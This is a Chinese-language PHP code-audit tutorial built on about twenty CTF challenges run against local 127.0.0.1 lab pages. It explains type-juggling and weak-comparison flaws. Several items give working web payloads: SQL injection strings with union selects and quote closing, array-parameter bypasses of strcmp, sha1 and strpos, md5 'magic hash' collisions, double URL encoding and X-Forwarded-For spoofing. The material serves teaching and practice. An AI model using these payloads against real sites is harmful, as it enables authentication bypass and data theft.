PHP程式碼審計片段講解(入門程式碼審計、CTF必備)
關於本專案
程式碼審計對於很多安全圈的新人來說,一直是一件頭疼的事情,也想跟著大牛們直接操刀審計CMS?卻處處碰壁:
函式看不懂!
漏洞原理不知道!
PHP特性更不知!
那還怎麼愉快審計?
不如化繁為簡,跟著本專案先搞懂PHP中大多敏感函式與各類特性,再逐漸增加難度,直到可以吊打各類CMS~
本專案講解基於多道CTF題,玩CTF的WEB狗也不要錯過(^-^)V
題的原始碼在Github: bowu (Github),可以自行部署,也可以靜態審計。
題1 extract變數覆蓋
http://127.0.0.1/Php_Bug/extract1.php?shiyan=&flag=1
題3 多重加密
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
// echo $token;
?>
eJxLtDK0qs60MrBOAuJaAB5uBBQ=
題4 SQL注入_WITH ROLLUP繞過
admin' GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1-- -
資料:
題5 ereg正則%00截斷
資料:
題6 strcmp比較字串
http://127.0.0.1/Php_Bug/06.php?a[]=1
這個函式是用於比較字串的函式
int strcmp ( string $str1 , string $str2 )
// 引數 str1第一個字串。str2第二個字串。如果 str1 小於 str2 返回 < 0; 如果 str1 大於 str2 返回 > 0;如果兩者相等,返回 0。
可知,傳入的期望型別是字串型別的資料,但是如果我們傳入非字串型別的資料的時候,這個函式將會有怎麼樣的行為呢?實際上,當這個函式接受到了不符合的型別,這個函式將發生錯誤,但是在5.3之前的php中,顯示了報錯的警告資訊後,將return 0 !!!! 也就是雖然報了錯,但卻判定其相等了。這對於使用這個函式來做選擇語句中的判斷的程式碼來說簡直是一個致命的漏洞,當然,php官方在後面的版本中修復了這個漏洞,使得報錯的時候函式不返回任何值。strcmp只會處理字串引數,如果給個數組的話呢,就會返回NULL,而判斷使用的是==,NULL==0是 bool(true)
題7 sha()函式比較繞過
http://127.0.0.1/Php_Bug/07.php?name[]=1&password[]=2
===會比較型別,比如bool sha1()函式和md5()函式存在著漏洞,sha1()函式預設的傳入引數型別是字串型,那要是給它傳入陣列呢會出現錯誤,使sha1()函式返回錯誤,也就是返回false,這樣一來===運算子就可以發揮作用了,需要構造username和password既不相等,又同樣是陣列型別
?name[]=a&password[]=b
題8 SESSION驗證繞過
http://127.0.0.1/Php_Bug/08.php?password=
刪除cookies或者刪除cookies的值
資料:
題9 密碼md5比較繞過
?user=' union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
資料:
題10 urldecode二次編碼繞過
h的URL編碼為:%68,二次編碼為%2568,繞過
http://127.0.0.1/Php_Bug/10.php?id=%2568ackerDJ
資料:
題11 sql閉合繞過
構造exp閉合繞過 admin’)#
題12 X-Forwarded-For繞過指定IP地址
HTTP頭新增X-Forwarded-For:1.1.1.1
題13 md5加密相等繞過
http://127.0.0.1/Php_Bug/13.php?a=240610708
==對比的時候會進行資料轉換,0eXXXXXXXXXX 轉成0了,如果比較一個數字和字串或者比較涉及到數字內容的字串,則字串會被轉換為數值並且比較按照數值來進行
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
md5('240610708'); // 0e462097431906509019562988736854
md5('QNKCDZO'); // 0e830400451993494058024219903391
把你的密碼設成 0x1234Ab,然後退出登入再登入,換密碼 1193131登入,如果登入成功,那麼密碼絕對是明文儲存的沒跑。
同理,密碼設定為 240610708,換密碼 QNKCDZO登入能成功,那麼密碼沒加鹽直接md5儲存的。
資料:
題14 intval函式四捨五入
1024.1繞過
資料:
題15 strpos陣列繞過NULL與ereg正則%00截斷
方法一: 既要是純數字,又要有’#biubiubiu’,strpos()找的是字串,那麼傳一個數組給它,strpos()出錯返回null,null!==false,所以符合要求. 所以輸入nctf[]= 那為什麼ereg()也能符合呢?因為ereg()在出錯時返回的也是null,null!==false,所以符合要求.
題16 SQL注入or繞過
$query='SELECT * FROM users WHERE name=\''admin\'\' AND pass=\''or 1 #'\';';
?username=admin\'\' AND pass=\''or 1 #&password=
題17 密碼md5比較繞過
//select pw from ctf where user=''and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #
?user='and 0=1 union select 'e10adc3949ba59abbe56e057f20f883e' #&pass=123456
題18 md5()函式===使用陣列繞過
題19 ereg()函式strpos() 函式用陣列返回NULL繞過
方法二: 將password構造一個arr[],傳入之後,ereg是返回NULL的,===判斷NULL和 FALSE,是不相等的,所以可以進入第二個判斷,而strpos處理陣列,也是返回NULL,注意這裡的是!==,NULL!==FALSE,條件成立,拿到flag“http://127.0.0.1/Php_Bug/19.php?password[]=
題20 十六進位制與數字比較
這裡,它不讓輸入1到9的數字,但是後面卻讓比較一串數字,平常的方法肯定就不能行了,大家都知道計算機中的進位制轉換,當然也是可以拿來比較的,0x開頭則表示16進位制,將這串數字轉換成16進位制之後發現,是deadc0de,在開頭加上0x,代表這個是16進位制的數字,然後再和十進位制的 3735929054比較,答案當然是相同的,返回true拿到flag
echo dechex ( 3735929054 ); // 將3735929054轉為16進位制